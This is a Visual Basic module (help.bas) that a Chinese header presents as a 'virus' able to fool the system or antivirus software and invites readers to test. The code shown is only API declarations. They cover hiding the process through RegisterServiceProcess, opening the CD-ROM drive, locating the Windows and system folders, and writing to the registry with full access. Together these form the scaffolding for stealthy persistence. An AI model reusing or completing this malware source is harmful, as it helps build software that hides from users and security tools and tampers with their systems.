help.bas

可以骗过系统或杀毒软件的软件（病毒） 用vb写的 欢迎测试

Attribute VB_Name = "help"
Option Explicit
   'systemHide
   Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessId As Long, ByVal ServiceFlags As Long) As Long
   Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
'CD-Rom
Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
'windows system
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Const MAX_PATH = 260
Public WinPath As String
Public WinSysPath As String
'Write Reg
Global Const HKEY_LOCAL_MACHINE = &H80000002
Global Const HKEY_CLASSES_ROOT = &H80000000
Global Const REG_SZ As Long = 1
Global Const KEY_ALL_ACCESS = &H3F
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long